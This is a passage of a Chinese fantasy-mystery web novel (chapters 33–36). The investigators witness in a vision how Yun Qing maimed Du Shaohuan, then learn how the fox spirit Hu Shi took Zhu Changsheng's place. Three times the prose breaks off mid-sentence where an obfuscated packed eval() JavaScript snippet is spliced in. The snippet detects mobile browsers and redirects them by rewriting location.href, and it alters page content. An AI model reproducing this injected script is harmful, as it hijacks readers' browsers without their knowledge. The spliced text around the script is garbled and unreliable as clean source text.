喉头像压了千斤巨石,元和景费力地吞咽好几次,才总算能开口,可声音却沙哑得厉害。 “你说,云青那时在屋里么?” 在她眼里,祝长生向来无所不晓,但今日他却破天荒地摇了摇头,声音极轻地道:“我不知。” 案件真相尚且百转千回,更何况莫测的人心。 晃神的瞬间,面前场景再次变换,幻境的尽头也就在不远处了。 而现在所处的地方,他们已然再熟悉不过。 黑屋子里点了盏烛火,将云青的脸上映得明暗不定,她身上那件官服,元和景虽没见过,却也知道是户部的款式。 想来此时已是云青来到京城做官的时候了。 很快,漆黑无光的床角里传来一声低泣,未见人影,只有声嘶力竭的、不成人声的怒吼紧接着传来—— “为什么!” 33. 最后一面 可即便如此绝望,至少他口还能言,声音也是中气十足的,远未及十年后那副残败不堪的模样。 云青就坐在明晃晃的烛火前,面容沉静,眼底古井无波,任凭悲拗的哭嚎一声声传来,她却自始至终没有动作。 也许是半刻,也许是更久,总之就在杜少桓的哭声终于减弱些后,云青才淡淡地开了口—— “为什么?” “因为我要走出南淮县,离开那个噩梦一般的地方啊。”说着,她缓缓抬头,朝着杜少桓的方向看去,“你当初不是也希望我离开吗……我现在做到了,你该为我开心啊。” “可那是我写的文章啊!” 怒吼如平地惊雷响起,云青的尾音被轻易淹没在其中,而后沉默来得突然,就好像刚才的愤怒只是错觉。 一片死寂中,无人可知杜少桓内心是怎样的绝望。 几个呼吸后,云青轻飘飘地开口:“可你不是喜欢我么?” “既然喜欢我,就总要为我做些牺牲吧,你看我刚来京城不久,便想办法把你也接过来了,我也是喜欢你的,之后你我二人日日作伴,再也没有人能拆散我们……” “够了!” 杜少桓用尽全力怒喝道:“究竟喜欢我还是更喜欢自己,你心里应当清楚。事到如今,再说这些又有什么用?你若是真心喜欢我,当初就不会这样做,如今即便把我绑来,我对你的也只有恨,再无一丝情爱。” “云青,你就是个彻头彻尾的自私小人,你自始至终爱的,都只有你自己!” “我自私?”云青像听到什么趣事似的,脸上露出畅快的笑意,“对啊,我就是自私。你我从小一起长大,在学堂里你就处处帮助我,我自然打心底感激你,也希望你过得更好,可是……” “可是千不该万不该,你不该过得比我好啊。” “你父母本就反感我和你来往,你知道他们背地里怎么说我吗?说我是有娘生没娘养的,说我是狐媚子……你想想,要是你再赢了比赛,来京城里当了官,那我该怎么办?我就要一辈子被他们看不起,一辈子被他们踩在脚底下践踏。” “可我说过……”杜少桓力竭地道,“我说过的,要是我夺得魁首,就带你一起来京城,以后你就再也不用挨打了,从小到大我有哪次骗过你,可你偏偏就是不信我!” 像是被某个字眼突然戳中,云青也跟着激动起来:“我没有不信你,我只是不信杜二牛,也不信何清莲!” “就因为我爹,我好像总是比你们低了一等。即便我们在一个学堂,他们也觉得我配不上你,可那也是我辛辛苦苦考上的……而且我的成绩还比你更好些。” “你不能再更好了。”云青摇着头,像是在证明什么,也像是在肯定自己,“本来他们就瞧不上我,你要是再当了官,我们就更没有可能了……” 说着,她忽然又笑起来,声声凄厉,带着近乎病态的决绝和癫狂,说道:“你看现在多好啊,我来做官,你跟着我,日后你就再也离不开我,再也不会被别人抢走了。” 闹到现在这个地步竟还没动手,若非是杜少桓脾气实在老好人,那便只有他现下被绑住的可能。 撞击声响起,正是他无所发泄情绪,所以只好一下下将头往墙上撞而发出的。 咚、咚,咚…… 声声沉重,声声疼痛。 可这或许是现下唯一能让他心里好受些的办法了。 “与其这样侮辱我,你还不如直接给我个痛快。”几个急促的深呼吸后,杜少桓咬牙切齿道,“你杀了我吧,有本事,你就把我杀了,不然,我做鬼都不会放过你!” 云青凄然一笑,语气中似有急切:“我说了喜欢你,又怎么会杀了你呢?我其实巴不得把你日日夜夜缩在身边,好让你的心里、你的眼里都只有我一个人才好。” 相比已然崩溃的杜少桓,她看起来更为从容,只是借由第三人的视角,元和景没能错过阴影里一闪而过的冷光。 “她不会要……” 话及半路戛然而止,因为下一刻,云青便从容起身,而后一步步朝杜少桓的方向走去,不过多时,铁块在地上拖拽的声音也跟着响起。 “你要干什么?” 惊恐的杜少桓正好替两人问出了疑问,可等待他的,又绝非只是个轻飘飘的口头答案。 “我既要留下你,那也要确定你不会从我身边逃走,而且也不会想办法往外面递信,让别人帮你逃走。” 说到这里,元和景莫名有种被点到的错觉,毕竟在十年后,那个收到杜少桓求救信的人就是她。 可能也只有她。 再联想到之后那个四肢皆断、口不能言的样子,所以云青现在是要…… “可能会有些痛,你忍一忍,很快我们就能永远在一起了。” 冷冰冰的安慰过后,她猝然抬臂,而那双手里握着的,正是一把木柄铁身的斧头。 元和景呼吸一滞,只觉得浑身血脉倒流,暗无天日的角落里依然没有光线,杜少桓惊恐的惨叫只听到一半,她的耳朵就很快被捂住了。 指尖泛着凉,手心却是微微热的,伴随着不紧不慢笼于周身的淡香,可怕的声音和气味就这么被隔绝在外。 明暗的烛光中,她只看见抬起又落下的手臂极尽决绝,也极尽残忍。 斧头落进黑暗中,罪恶在此处被制造,也在此处被掩藏。 伴着手腕处突然传来的剧痛,灵魂好像被猛地劈开,黑暗如期而至,却并未给他们反应的时间,强劲的吸引力如漩涡一般,将元和景卷入无可阻挡的头晕目眩中。 不知过了多久,身体陡然一轻,随后便被无情地摔落在一片潮湿阴暗处。 神思缓慢回归时,元和景朦朦胧胧地想到,这下应该是回到现实了。 这次离开的方式比之前要粗鲁不少,还有那阵莫名袭来的疼痛,或许因为杜少桓当时正经受着巨大的痛苦,所以这感觉也或多或少地投射在了外来者身上。 沉闷的呼吸声从不远处传来,眼下这片黑不见底的空间里,依然只有她、祝长生和杜少桓在此。 透明小狐狸的身体还泛着浅浅荧光,元和景眼冒金星地原地瘫了会,很快就听见祝长生说:“饭桌上有事,走吧。” 两人利用狐族魂魄离体的术法来到此处,但□□还留在和众人的饭桌上,只能简单地做出吃饭和应声的动作,要是被大家发现端倪,此事可就难以收场了。 元和景虚弱地应了声“嗯”,须臾后眼前一花,天光取代黑暗,饭菜香味替了潮气,独属于人类的白净五指中,正捏着双朴素的木筷子。 “是我不小心了,少卿夫人可有烫到?” 话音在耳畔响起的同时,胳膊肘突然被不轻不重地撞了下,元和景猛然回过神来,抬眼便瞧见云青手里捏着一只碗,看向自己的眼神里满是探究。 此话一出,其他几人都停下碗筷看了过来,可元和景尚未搞清楚状况,更遑论做出什么合适的反应来,只能暂且按兵不动,面上虽平静呆滞,可心里已然如临大敌了。 发生了什么?干嘛都看着我?我该做些什么? 还是祝长生将她空着的那只手抓了过去,捏在指尖翻来覆去地检查,道:“怎么吃个饭还能走神?连汤撒了都没注意到,还好并未烫伤,云录事不必自责。” “哦……”元和景顿时明了,作出懊恼的神情,“我还真没注意到,毕竟在外面跑了这么多天,睡觉都没睡好,刚才我差点就要睡着了。” 说着,她装模作样地打了个哈欠,又扭头对云青说:“抱歉啊,让你担心了。” 这番解释显然没能立刻获得云青的信任,她又露出那副审视犯人的姿态来。杜二牛和何清莲夫妇在旁边一言不发,只有周子萧跳出来打圆场:“没烫到就行,快吃饭吧,吃完回去我要大睡一场,都别拦我!” “我也是我也是。”元和景连忙将手收回,重新抓起碗筷扒饭,努力压下心头的不自然。 没过多久,云青便坐了回去,饭桌上气氛重归正常,这时祝长生又道:“夫人想睡自然是可以,不过周司直莫要忘了,回大理寺后还要去协助贺寺正,把本次案件的记录总结归档。” 把脸藏在饭碗后的元和景没忍住,幸灾乐祸地扬起了嘴角,按理说此案本是她和贺均接手,写报告必然得有她一份,不过好在她并非正式的大理寺职员,哪有资格参与此等重要的寺内事务呢? 周子萧也意识到了这点,表情迅速垮了下来,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010537|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又的确无可辩驳,只能有气无力地应了声“是”。 经过这么一番打岔,元和景的心情才总算明朗了些许。杜少桓失踪的真相像一块石头,压在心里让人喘不过气来,十年前他遭遇了此等无妄之灾,可更难过的是即便在十年之后,他们也无法帮到他。 且不论幻境所见无法告与大家,现在杜二牛夫妇已被云青收买,决定不再寻找杜少桓的下落。按照我朝律法,上诉人若选择撤案,他们是无权干涉、也无法再继续查下去的。 况且,又要如何证明关在黑屋子里的那个男人,是杜少桓呢? 口不能言、身不能动,这副憔悴潦倒的模样更是与过去判若两人,如果他自己无法证明,仅凭其他证据也定不了云青的罪。 或许再多想一些,杜少桓是否还愿意承认,现在的那个自己……是他自己呢? 本该是翩翩如玉的书生郎,家庭和美前途光亮,只因爱错了人,最后只落得个身不由己、苟延残喘的下场。 一顿饭很快吃到了头,趁着云青收拣桌子时,元和景看向何清莲,沉声问:“你们确定不找杜少桓了?即便他近在眼前,也许就等着你们来救他呢?” 两夫妇皆是神色一怔,有什么复杂的情绪在妇人脸上一闪而过,仅凭此,元和景立马明白,他们绝非对内情一无所知。 可很快,何清莲就露出个朴实的笑脸,道:“多谢官爷劳心,不过我们确实已经找到少桓了,他过得很好。这段时间麻烦各位官爷许多,我们心里也过意不去,早点把这个案子结了大家都好宽心,我们啊,也就回南淮老家去了。” 元和景定定地看了她一会,分明心里还有许多话想说,末了却只道:“如此,那就路上小心。” 直到现在她才明白,夫妇俩并非是被迫不与杜少桓相认,而是他们清楚,就算找回来,也已经无济于事了。 人虽然还留着一条命,可他也只剩下一条命了。 残缺成这副样子,后半生都要在轮椅上度过,身边时时离不了人,看病抓药还要花不少钱,带回去只能是个甩不掉的拖油瓶。 也许云青承诺会继续给他们每月寄钱,又或许什么也没承诺,但只要能不惹上这个大麻烦,这便是对他们最大的好处。 正如云青之前所说,这世上能陪在杜少桓身边的,也就只有她了。 休息了这么久,眼下也该是离开的时候。夫妇俩又同三人说了好些感谢的话,在此之后,他们就会径直出城去,那里有往来各地的商队或拉货人,可以将他们顺道送回南淮县。 元和景心中一片悲凉,可除了旁观,她别无可做。 等到两人起身说告辞时,背后突然传来“吱呀”一声响,转头看才发现,竟是杜少桓自己从里屋爬出来了。 手掌软趴趴地垂着,可看出手腕处已经断了,两条小臂在衣袖里拐成极不自然的弧度,他用尚可活动的头抵住门缝,身体曲起又弯下,以近乎毛毛虫的姿势一点一点地挪了出来。 开门的动静不大,杜二牛夫妇当然也被惊动,周子萧震惊得想要说什么,被元和景眼疾手快地拉住了。 经年已久,时过境迁,这或许是十年后,杜家人的重逢的第一面。 而面对亲生儿子,杜二牛只迟疑了一瞬,道:“这是……” 语气不掩疑惑,脸上一片茫然,他以故作不识说明一切。 不过多时,云青从厨房里走出,见到男人这副样子连忙伸手去扶,镇定地抬头对周子萧道:“周司直,劳烦帮忙把屋里的轮椅推出来。” 周子萧应声而去,很快,杜少桓便被搀扶着坐上了轮椅。 明明花费了好大的力气才爬上来,可他被扶起时却半点挣扎也无,像是个死气沉沉的木偶,连最后一丝生气也消失了。 杜二牛夫妇见状也不再多说,当即便转身要走,就在云青推着轮椅掉头进屋时,元和景突然大声喊道;“杜少桓……” 话音落,两个佝偻的背影肉眼可见地僵了一瞬。 可也只有一瞬。 须臾后,两人恢复如常,继续沿着前路一步步地走远了。 而另一边,门被毫不留情地关上,黑暗重新充斥了那间黑屋,而屋中人往后是生是死,自此与他们再无瓜葛。 34. 榻间疏懒 从云青家出来时,天色已然大亮,明晃晃的日光入目还有些刺眼。 元和景心里堵得慌,身体也疲惫,于是再提不起劲做任何事,祝长生见状便吩咐人先送她回少卿府,之后的事等他回去后再说。 临上马车时,祝长生又拉过元和景的手,道:“人各有命,不必介怀,好生休息吧。” 人各有命,是啊……人各有命。 可要是杜少桓在出生时就得知了自己会是这样的命,他还会愿意来到这个世上吗? 往日无处可追,来日尚不可知,现在再说这些,也都只是后话了。 一路畅通无阻到了少卿府,沐浴更衣后,元和景连饭都顾不上吃,倒头便睡了个天昏地暗日月无光。 毕竟是前二十多年过惯了大小姐日子的人,每天坚持练功学武已是极限,却没想到出门办个案,比这还要累得不知多多少。 难怪外界都说大理寺“钱多活难干”,钱多不多她是无从所知,但这案子要查起来,还真挺不容易。 一觉闷到不知何年何月,总之就在元和景模模糊糊有了意识时,洒在后颈上的气息触感正是温热而舒缓的。 男人身量很高,就这么个从背后抱着的姿势,能把她整个都圈在怀里。腰侧的手臂随意搭着,鼻腔里满是让人熟悉的淡香,床舒适而软,傍晚的光线也并不刺眼,如此,内心便只有一片宽如海阔的平静安定。 元和景自诩最喜欢那些热闹浮华的场面,可现下却不得不承认,此时此刻,她感觉不能再好了。 借着天色估摸了下时辰,还赶得上晚膳,元和景顿时心中大喜,正想着不惊动祝长生起床的法子时,帘外忽然传来丫鬟轻而柔的声音—— “大人,晚膳已经备好了,要是夫人还没醒的话,我们就先温上。” 元和景怔了怔,下意识回道:“祝长生还在睡,再等等吧。” “啊!夫人。”丫鬟先是吃惊,而后又陡然变得担忧起来,怯怯地说,“奴婢不会吵醒您了吧,大人明明特意吩咐过的……” 眼见着这丫鬟马上要来一场深刻的自我检讨,元和景霎时间哭笑不得,连忙出声阻止:“诶诶诶,是我自己醒的,跟你无关。” “噢、噢……是奴婢多心了,那夫人和大人好生休息,奴婢先下去备菜。” 这丫鬟应是年纪不大,还没学会隐藏情绪,她说话前很明显地松了口气,之后连话音里都带着快意。 元和景只觉得好笑,却也顾及着姑娘的面子没当面表现,等关门声响起时,她才跟漏风破窗似的闷闷笑起来。 怕惊醒祝长生,她不敢发出声音,气息都要刻意控制着,连带腹腔也跟着微微振动起来。 就这么偷偷摸摸地笑了会,情绪被点出波澜,心也跟着活泛。元和景动作灵巧地翻了个身,改成面对祝长生躺着的姿势。 她虽等着人醒来一起用晚膳,但其实并不着急,也有闲心用目光,将对方的脸细细描摹来—— 眉秀而舒展,轻阖的眼皮上缀着长睫,流畅的线条一直蔓延到鼻峰,最后是那双薄唇,颜色浅淡,形状优美,因长期未进水有些微微发干。 元和景瞧得仔细,像着了魔似的就是移不开眼。静谧而暗淡的天色下,只听得空气里突兀地传来好大一声“咕咚”。 是她在咽口水。 活了这么久,她也是头一次对别人的嘴产生这么大兴趣,眼睛一眨不眨盯着,脑子里却什么都没想,只隐约生出凑上去尝尝的冲动。 而就在她开始思考这件事的可行性时,腰上的手臂却陡然一紧,十分决绝地扣着她猛然撞上对面人的身体。 禁锢收紧于后腰,那些刻意被她拉开的距离,就这样荡然无存了。 “再睡会。” 呢喃就在耳畔响起。 含含糊糊,朦朦胧胧,像不知哪来的小虫子,勾起心底似有若无的痒。 面前是随呼吸缓慢起伏的胸膛,男人的身体一动不动,好像又要睡过去了。 说抱就抱,甚至回来后一声招呼都没打就睡在了自己身边,明明只同床过一次,他却熟练得仿佛做过了千百次。 元和景莫名有些不爽,还有些说不分明的别扭,便生了非要和他作对的心思。于是她故意不安分地动来动去,还单手掐住祝长生的脸颊,把他为数不多的脸颊肉都挤到一起,然后拖着调子道:“起来了——我要吃饭!” 手感出乎意料得不错,元和景在心里赞叹着,手上没忍住又多捏了几下。 管他是大理寺少卿,还什么狐妖胡拾,还不都是本小姐的掌中之物? 可不等她得意完,手腕蓦地被人紧紧抓住,眼前一番天旋地转后,攻守之势交替,男人以身作牢,撑起的双臂只设下一方独属于她的禁地。 未来得及跟上的反应将空气带入一片沉默,呼吸交错的瞬间,祝长生眼底尚未清明,声音也还低哑,道:“扰人清梦,你可知罪?” 似乎有危险气息扑面而来,元和景却不怕,戳戳他的胸膛后反将双手一抱,理直气壮地道:“可是,少卿大人……” “我饿了,我要吃饭,所以你得快些醒来,大家可都等着你呢。” 祝长生神色一怔,没想到对方竟是这个回应。 大理寺少卿的位置他也坐了有十年,无论罪犯还是官差,哪个不敢不折服于他的名号之下?可今天,他这赫赫有名的派头算是彻底无用,无论如何也比不上一顿晚膳重要了。 一个居于上位却神情茫然,一个落于其下却心安理得,气氛怪异,却莫名和谐。 …… ……? ……! 视线在空气中相撞,隐隐有火花升腾,却不知是谁先破了功,又或许是同时,总之在须臾后,两人“扑哧”一声笑作一团。 祝长生手臂卸了力,便径直将头埋进少女的颈窝,肆无忌惮地闷声笑着,分明也不是什么了不得的奇闻轶事,他却打心底觉得有趣,眉梢眼角皆是愉悦的弧度。 “你重死了!”元和景佯怒道,语气里笑意盈盈,手上收着力气给了他肩膀几拳,“快点起来,否则我就要饿死了。” 祝长生在心底暗暗感叹自己家庭地位之低,末了只能无奈地妥协:“遵命。” 可就这么让步,终究让人觉得不甘,他心有贪恋,便想着还要再讨些好处才行。于是停顿片刻后,他又道:“再让我抱一会,好不好?” 极尽温柔,也极尽诚恳,他便用这样的法子让元和景心软。 “那……好吧。” 又这么赖了好一会后,这顿心心念念的晚膳才总算吃上。酒足饭饱后,元和景终于又有力气思考,便撑着下巴问:“云青会因此事受到影响吗?” 将夺得魁首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014291|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文章偷梁换柱、蓄意致人残疾,甚至限制其人身自由十年,桩桩件件,每一条都是能让她官位不保的大罪。 擦过嘴角后,祝长生不急不缓地答:“若她自己安心,便什么影响都不会有。” 眼下能拿到明面上的证据早就无迹可寻,能作人证的杜二牛夫妇也已倒戈,此事真相要想重见天日,恐怕全在云青的一念之间了。 言尽于此,再多说也是徒劳。 元和景有些怅然地垂眸,很快又听见祝长生问:“可想好要提什么要求了?” 她一时没反应过来,只道:“什么什么要求?” 祝长生顿时了然,唇角笑意更深,悠悠然道:“既然忘了,那就不再作数,快吃饭吧。” “那不行!”元和景顿时气急,脑子里飞速把这几天发生的事过了一遭,幸好在最后一刻福至心灵,“不就是去南淮县的时候,我们在马车里打的那个赌嘛,我才没忘呢。” 说着,她突然又不确定起来:“难不成……是我赢了?” 这可不能怪她犹豫,毕竟要论办完事,祝长生比他们快了将近一整天,怎么看这场赌局也是他为胜。 元和景心里预感不妙,狡辩的话还没想好,祝长生便先开了口:“既然是你提要求,那自然是你赢了,要怪,也只能怪我心地善良不忍骗你。” 男人似悲似哀地叹了口气,但元和景才不管他的装模作样,连忙直起身子,眼睛亮亮地望着对方,道:“还真是我赢了,既然如此,落到我手里你可别后悔!” 祝长生一脸“我就知道”的表情,心头又是好笑又是无奈。另一边的元和景正捧着脸想要提什么要求,突然感觉鼻尖发痒,伸手就把那作乱的尾巴拍远了。 “看你这副样子,怎么感觉比我还像只狐狸?” 话音未落时,那条毛绒绒的尾巴又不依不饶地凑上去,在她小巧的鼻头上轻扫。 还好这顿晚膳在房间里用,他们也并未让人在旁边侍奉,因此这番有些奇异的逗趣之景,也就只有夫妻二人共享了。 元和景心生不满,伸手便要吧那作乱的尾巴抓住,但祝长生早有准备,她追他便躲,她退他便进,同时还能游刃有余地解释:“当初打赌时,你说的是‘谁先回到大理寺便算谁赢’,而就在我们今日回去找云青时,的确是你先迈入的大理寺正门。” 没想到会是这么个凑巧的原因,连元和景本人都小小地吃惊了一下。但在最初的惊讶过后,她又忍不住得意起来,嘿嘿笑道:“运真是运气来了挡也挡不住。” 见她只顾着高兴,也不继续抓了,祝长生又状似不经意地把尾巴尖凑过去,却不料被人当场抓个正着,只能堕落成对方手里揉揉捏捏的玩物。 “咳咳……”元和景坐直身体,摆出一副审问罪犯的姿态,严肃地道,“如此,你就老实交待,你是怎么从胡拾变成祝长生的?这次去苍山县又是在干嘛?” 有关胡拾和祝长生,元和景虽能接受,却始终心有疑惑,既然对方本就无意隐瞒,那自己能多了解一些,这对以后、对身边的人都有好处。 听完她的问题,祝长生并未露出意外的神色,显然对此也早有预料。他放下茶杯,也微微正色,道:“你说的这两件事,其实本质上是一件事。” “不过在回答之前,你且先告诉我,对于柳扶摇这个名字,你知晓多少?” 35. 狐与长生 趁着元和景皱眉思索的空当,祝长生施施然起身,径直去了里间。等元和景追进来的时候,看到的就是一幅男人单手撑头,斜倚在小榻上阖眼浅寐的光景。 眼尾细长,唇角微勾,姿态慵懒而魅,跟个狐狸精似的。 虽然他本来就是狐狸精。 元和景抱着手大爷似的溜达过去,而后在榻边寻了个舒服的位置一屁股坐下,扭头时正好捕捉到对方唇角勾起的笑意。 她轻哼一声,故作生气地道:“明明是我提要求,你还敢先试探我。” 祝长生睁开眼,眸中有诧异之色一闪而过,末了只能轻叹一声,道:“果然还是被你看出来了。” 他像是从用尾巴逗人这件事里找到了什么趣味,边说着边伸出尾巴尖,去拨弄女孩耳环上的吊坠,语气诚恳:“不过说实话,我虽没主动相告,但也从未想过瞒你,只是觉得你在大理寺这么久,定然不会任由自己一无所知。” 元和景没什么感情地撇了撇嘴,二话不说也往小榻外侧的枕上一靠,道:“原来我在你心里是个会随意打听别人的形象……不过你可要失望了,我好奇就会直接问本人,才不会去瞎打听。” “至于柳扶摇嘛,我只在贺均和柳淑兰的嘴里听说过,就是在我们得知纳兰公子身死真相,你连夜审问柳淑兰的时候。” 当时柳淑兰被带进大牢时,曾骂过纳兰卿和柳扶摇是一个德行,之后她去大牢找祝长生时,也是贺均提及,他此次审问应与这个名字有关。 一股脑说完,元和景又将那调皮的尾巴尖捉来肆意蹂躏,毛长而柔软,入手触感极佳,自带了暖而不热的温度,倒是个不错的玩具。 祝长生一时垂眸不言,半晌后,他像是作下了什么决心,道:“不错,当时审问除了纳兰卿中毒的真相之外,柳扶摇这个名字也是关键。但这件事要想从头讲起,那可就长了,不如你自己来看?” 元和景停下动作,好奇地问:“怎么看?” 不等言语上的解释,从手心凭空溜走的尾巴便是答案。后腰被锢着往前一收,两人中间的距离已聊胜于无,男人俯下身子,轻轻将额头与她的相贴。 “你……你干什么?” 元和景怔怔看着那双琥珀色眼眸中倒映的自己,胸腔里那个东西不要命似的“咚咚”跳起来,有柔而暖的呼吸洒在脸上,很快便和自己呼出的气息相遇、相融,最后一同浸入周身的凉凉清风中,直到再也分不清你我。 像是读懂了元和景的情绪,祝长生狡黠一笑,语气满是狎昵:“愣着做什么?闭眼。” “哦……哦。” 元和景下意识照做,于是薄暮中的最后一丝光亮也消失在眼前,但黑暗并未完全降临,因为一片白茫茫的雪色很快自周身铺展开来。 不是雪色,而是真的雪。 目光所及处皆是大片纷纷扬扬,白而净,轻而软,不消片刻便和地上那层厚厚的雪被融为了一体。回廊古朴,檐上白连天,此时所在,俨然是某处府邸。 但能肯定的是,这既不是元府,也不是方才两人所处的少卿府。 “你莫要动,可能会有些疼,不过很快就好了。” 温润如玉的男声传来,吐字轻缓,气息虚浮,这种感觉太过独特也太过熟悉,元和景当即便愣在了原地。 祝长生…… 不是那个被胡拾代替后的祝长生,而是原本的、真真正正的,十五岁的祝长生。 待反应过来后,她下意识想向声音来源看去,而操纵的这副身体却只是抬了抬头,很快又怏怏地躺下了。 而借着这个动作,元和景也正好注意到“自己”满身似火焰般的皮毛。 如此便可断定,她现在是在当初胡拾的身体里,借由他的视角以窥当年之事。 那祝长生和胡拾的渊源,恐怕也是自此开始的了。 后腿上有什么东西蓦地一松,祝长生的声音紧接着传来:“这捕兽夹实在厉害,伤口已深可见骨,我先带你进去包扎一下。” 话音刚落,元和景就感觉身体悬了空,有一侧贴在了暖而柔软的胸膛上,四条腿则是被稳稳地托在了手臂之中。 想亲眼看一眼祝长生的心愿实在强烈,她又尝试着抬起头,眼前却正好被大氅的毛领挡住,只能从缝隙间拼凑起男子的侧脸。 “就那么想看他啊?” 与刚才相差无几的音色自身侧响起,腔调是截然不同的明朗,语气还有点酸溜溜的,元和景扭头看去,旁边却空无一人。 像是知晓她心中所想,那声音又道:“别找了,你我现在不过附着于这狐狸身躯的一抹魂识上,本就无实体可言,自然是看不到的。” 元和景还没来得及出声,对方又警告似的提醒:“此术法不同于魇术,会受制于本体视角,所以你就算想看祝长生,也由不得自己心意。” 虽然被拆穿,她却不觉得心虚,只洋洋得意地道:“先别管我了,快把谁家打翻的醋坛子收拾收拾吧……酸味儿可真重啊。” 本想捏着鼻子做出难闻的动作,可惜现在没有实体,元和景只好作罢。 而现在所处的回忆里,祝长生正在为狐狸形态的胡拾包扎伤腿,动作轻柔至极,期间还不乏细声细语的安慰,虽然时有咳嗽,但声音自始至终是温柔而舒缓的。 像极了祝长生本人,谦逊有礼,温润如玉,却也体弱多病,身不由己。 说不分明的滋味涌上心头,元和景一时无言。 与此同时,眼前忽而一闪,待视线再恢复清明时,满目银装素裹中,一个身着素袄,个头不高的小女孩就这样出现在面前。 因她正背对着胡拾,所以元和景也看不清容貌,只听得她中气十足地吼道:“快走开!以后再敢打它,我就用棍子打断你们的腿!” 年纪不大脾气倒不小,声音是独属于小姑娘的清脆,气势上却好像马上要跟人打一架似的。 耳畔的笑声一开始还很闷,显然对方也刻意控制过,可不过三息,就变成了肆无忌惮的开怀大笑。 即便知道他看不见,元和景还是翻了个大大的白眼,没好气道:“我小时候就这么好笑吗?” “不好笑,不好笑噗哈哈哈哈……” 元和景:“……” 也许是女孩看起来太有威慑力,前面那几条样貌各异的狗很快就跑走了。将手中棍子丢掉后,她转头蹲下身来,通红的小脸上又是担忧又是责备,说:“你怎么还跟这些野狗打架?祝长生应该没这么教你吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018784|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话及于此,元和景总算想起来,她的确在十三岁时见过这只狐狸,也就是胡拾。 父亲元敬瑭和大理寺卿祝行之一向关系匪浅,逢年过节时也会小聚。那年冬月,元和景随父亲前去祝寺卿老家做客,也就是在这里,祝长生说他捡到了一只受伤的狐狸。 思绪翻涌间,幼年的元和景突然惊叫出声:“啊!你腿上的伤渗血了。” 凭着记忆,元和景记得此时祝长生应该不在家中,周围又看不见人,她只好自己先给狐狸简单处理一下。 果不其然,女孩四下张望过一阵后,便从怀里掏出条干净的手帕来,边说边朝胡拾凑近:“没办法,我先给你重新包扎一下,等祝长生回来后再说,可能有点疼,你别害怕。” 受伤的地方是后腿,碍于狐狸侧躺着的姿势,元和景也没办法看到包扎的情景,只记得那条手帕的边角处,一丛歪歪扭扭的并蒂莲正缀于其上。 而好巧不巧的是,这方帕子她前不久才见过。 当初在纳兰卿的幻境中,元和景心痛落泪时,祝长生递给她的手帕上就有相同的图案。 或许是感知到元和景此时所想,祝长生也没有开口,似乎正在等待她发问。 欲言又止好几次后,元和景深吸一口气,道:“你拿了我的帕子,之后为什么不还给我?” ? 祝长生哑然。 “绣得这么丑竟然还是我的手笔,再不济你当年把它毁了也行啊,非要留到现在丢人。” 等她闷闷地说完这些,祝长生又沉默了好一会,等回忆中的幼年元和景抱着狐狸回屋时,他才忍不住失笑。 “也没有很丑吧,我觉得还挺好看的,这些年我一直带在身上。” 或许此言意在安慰,可元和景听了却更觉羞愤,还好手帕现在已经回到自己手里,等从回忆里出去后,她要立马把它一把火烧掉! 眼前这段回忆并未进行太久,瞬息后画面一转,清风尽散,冬雪不再,唯有祝长生嘴角的血艳得刺目。 元和景瞳孔骤缩,怎么也不敢相信祝长生突然变成了这样。籍由胡拾的视角,她只能看见那双苍白纤瘦的手颤抖着抬起,然后很轻柔地在小狐狸头顶拍了几下。 动作间,一小张边缘泛着焦黑的纸掉落下来。 刚好正面朝上,墨笔书下的“扶摇”二字尚还清晰。 紧接着,那只手像是失去所有力气,颓然落了地。 “祝长生……死了?” 即便心里早已有过这种猜测,但元和景还是没能想到,祝长生的结局竟然真是如此。 片刻后,冷静而肃然的回答响起:“嗯。” “这正是祝寺卿突然暴毙,祝府遭劫匪洗劫时所发生之事。” 紧接着,就在两人的见证下,小狐狸跳上祝长生的胸口,最后化成一道透明而澄澈的光消失在了眼前。 这等术法,元和景曾在胡陆占走纳兰卿身体时见过。而从此时此刻,胡拾就成了祝长生。 一室静默,唯有浅淡的夕阳从窗棂投下,正好洒在男子苍白的眼睑上,等那双眼再次睁开时,瞳孔已成了明黄的琥珀色。 自此,祝长生重回于世间,可这世上,本就没有祝长生了。 36. 当年扶摇 画面最后闪过的场景,是地上那片孤零零的碎纸。 元和景深吸一口气,待心绪稍稍缓和后才道:“所以这个扶摇,指的就是柳扶摇?” 不过须臾,祝长生道:“没错。” 本是温和的嗓音,和这种轻快明朗的说话声调搭配起来却并不显违和,却也明确地提醒了元和景:身边这个祝长生虽是胡拾假扮,却也是新婚夜后自己一直接触的、真正认识的祝长生。 “但这件事我也是前不久才知道,当时的我也只能断定,祝家之祸绝非传言那么简单。” 